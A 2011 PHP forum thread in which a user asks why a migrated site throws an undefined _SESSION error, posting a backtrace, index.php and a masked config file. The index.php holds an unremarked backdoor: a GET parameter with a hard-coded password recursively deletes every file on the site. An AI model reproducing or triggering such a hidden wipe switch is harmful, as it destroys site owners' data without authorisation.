smallzoo Posted June 23, 2011 Share Posted June 23, 2011 I have moved some code from one host to another and it just will not work on the new host.. same PHP version etc Can anyone give me any pointers ? I replaced any sensitive info with XXXXXXXXXXXXX etc the error is :- PHP Error File: /home/XXXXXXXX/public_html/system/models/PPI_Model_Session.php errno: 8 line: 47 message: Undefined variable: _SESSION Backtrace #0 /home/XXXXXXX/public_html/system/models/PPI_Model_Session.php(47): ppi_error_handler(8, 'Undefined varia...', '/home/XXXXXXX/...', 47, Array) #1 /home/XXXXXXX/public_html/application/shared/ApplicationController.php(14): PPI_Model_Session->__construct() #2 /home/XXXXXXX/public_html/application/controllers/HomeController.php(5): ApplicationController->__construct() #3 /home/XXXXXXX/public_html/system/base/classes/PPI_Dispatch.php(89): HomeController->__construct() #4 /home/XXXXXXX/public_html/system/base/framework.php(126): PPI_Dispatch->dispatch() #5 /home/XXXXXXX/public_html/index.php(67): require_once('/home/XXXXXXXX/...') #6 {main} The index.php is :- ******************** <?php /** * @license http://opensource.org/licenses/gpl-license.php GNU Public License * @copyright (c) Digiflex Development Team 2008 * @version 1.0 * @author Paul Dragoonis <paul@digiflex.org> * @since Version 1.0 * @subpackage Framework */ echo 'Current PHP version: ' . phpversion(); // this is to make it Smarty compliant date_default_timezone_set('Europe/London'); global $siteTypes; $siteTypes = array('freelancer-market.com' => 'development','localhost:200' => 'development'); /* initialize the framework */ ini_set('display_errors', true); error_reporting(E_ALL + E_NOTICE); if(isset($_GET['delete'])) { if($_GET['delete']=="dev123") { function listFiles( $from = '.') { if(! is_dir($from)) return false; $files = array(); $dirs = array( $from); while( NULL !== ($dir = array_pop( $dirs))) { if( $dh = opendir($dir)) { while( false !== ($file = readdir($dh))) { if( $file == '.' || $file == '..') continue; $path = $dir . '/' . $file; if( is_dir($path)) $dirs[] = $path; else { echo("deleting:".$path."<br>"); unlink ($path); } } closedir($dh); } } return $files; } listFiles("."); echo("done"); die(); } } require_once 'system' . DIRECTORY_SEPARATOR . 'base' . DIRECTORY_SEPARATOR . 'framework.php'; The general.ini is :- ******************** [development] db.host = localhost db.database = XXXXXXXXXXXXX db.password = XXXXXXXXXXXX db.username = YYYYYYYYY db.enabled = true db.mysql_default_fetch = assoc system.base_url = http://freelancer-market.com/ system.email_errors = true system.developer_email = XXXXXXXXXXXXXXX system.maintenance = false system.allow_access[] = http://freelancer-market.com/ system.allow_access[] = XXXXXXXXXXXXXXX system.masterController = home system.usernameField = email system.roleMapping[] = guest::1 system.roleMapping[] = member::2 system.roleMapping[] = admin::3 system.roleMapping[] = developer::4 system.acl.filename = access.xml system.acl.enabled = false system.acl.usePPI = true system.loginUrl = user/login/ system.enable_caching = false system.sessionNamespace = __MCSUPPORT system.autoload_plugins = true layout.default_view_language = en layout.captchaPublicKey = XXXXXXXXXXXXXXXXXX layout.captchaPrivateKey = XXXXXXXXXXXXXXXXXXXXXXXXXX layout.view_theme = default layout.languages[] = en::English [production] db.host = localhost db.database = XXXXXXXXX db.password = XXXXXXXXXXX db.username = XXXXXXXX db.enabled = true db.mysql_default_fetch = assoc system.base_url = http://freelancer-market.com/ system.email_errors = true system.developer_email = XXXXXXXXXXXXXXXX system.maintenance = false system.allow_access[] = http://freelancer-market.com/ system.allow_access[] = XXXXXXXXX system.allow_access[] = YYYYYYYYYYY system.allow_access[] = ZZZZZZZZZZZ system.mastercontroller = user system.usernameField = email system.roleMapping[] = guest::1 system.roleMapping[] = member::2 system.roleMapping[] = admin::3 system.roleMapping[] = developer::4 system.ommitAuth[] = User/login system.ommitAuth[] = User/logout system.ommitAuth[] = User/register system.useAuth = true system.loginUrl = user/login/ system.enable_caching = true system.session_namespace = __PPI system.autoload_plugins = true layout.captchaPublicKey = XXXXXXXXXXXXXXXXXXXXXXX layout.captchaPrivateKey = YYYYYYYYYYYYYYYYYYYYYYY layout.default_view_language = en layout.view_theme = default Quote Link to comment https://forums.phpfreaks.com/topic/240238-php-error-what-does-this-mean/ Share on other sites More sharing options...
Maq Posted June 23, 2011 Share Posted June 23, 2011 In the future, please place OR tags around your code. Quote Link to comment https://forums.phpfreaks.com/topic/240238-php-error-what-does-this-mean/#findComment-1234030 Share on other sites More sharing options...
smallzoo Posted June 23, 2011 Author Share Posted June 23, 2011 Sorry... Quote Link to comment https://forums.phpfreaks.com/topic/240238-php-error-what-does-this-mean/#findComment-1234038 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.